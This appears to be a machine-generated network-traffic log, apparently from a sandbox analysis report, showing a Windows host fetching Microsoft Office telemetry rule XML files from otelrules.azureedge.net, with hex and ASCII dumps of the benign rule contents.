2024-11-25 11:09:27 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-25 11:09:27 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-25 11:09:27 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-25 11:09:28 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-25 11:09:28 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-25 11:09:28 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.8	49845	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:29 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:30 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:30 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 6b6b0dda-801e-0083-096a-3cf0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110930Z-174c587ffdf6b487hC1TEBydsn00000005rg00000000db7g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:30 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.8	49846	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:30 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:30 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:30 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 2aa1f1ad-b01e-003d-7c43-3cd32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110930Z-174c587ffdfcb7qhhC1TEB3x70000000060g000000001vwm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:30 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.8	49843	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:30 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:30 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:30 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 15799d2c-401e-0047-13c9-3e8597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110930Z-178bfbc474btvfdfhC1NYCa2en00000007gg00000000390z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:30 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.8	49844	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:30 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:30 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:30 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: ac6669be-e01e-003c-668c-3ac70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110930Z-174c587ffdfp4vpjhC1TEBybqw00000005t000000000eqba x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:30 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.8	49847	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:30 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:30 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:30 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: b169a0d5-c01e-00a2-4e03-3e2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110930Z-178bfbc474btrnf9hC1NYCb80g00000007n0000000001bqw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:30 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.8	49851	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:32 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:32 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:32 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 3257c6a6-201e-005d-32b4-3eafb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110932Z-178bfbc474bnwsh4hC1NYC2ubs00000007ag00000000df51 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:32 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.8	49850	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:32 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:32 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:32 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 4bad8666-601e-0032-490e-3eeebb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110932Z-178bfbc474bnwsh4hC1NYC2ubs00000007bg00000000bakq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:32 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.8	49848	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:32 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:32 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:32 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 90d7dcde-101e-008e-3d03-3ecf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110932Z-178bfbc474bv587zhC1NYCny5w000000074000000000cxpk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:09:32 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.8	49849	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:09:32 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:09:32 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:09:32 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: a6bfa609-001e-00a2-4d66-3bd4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110932Z-178bfbc474bp8mkvhC1NYCzqnn000000075g000000008g4e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
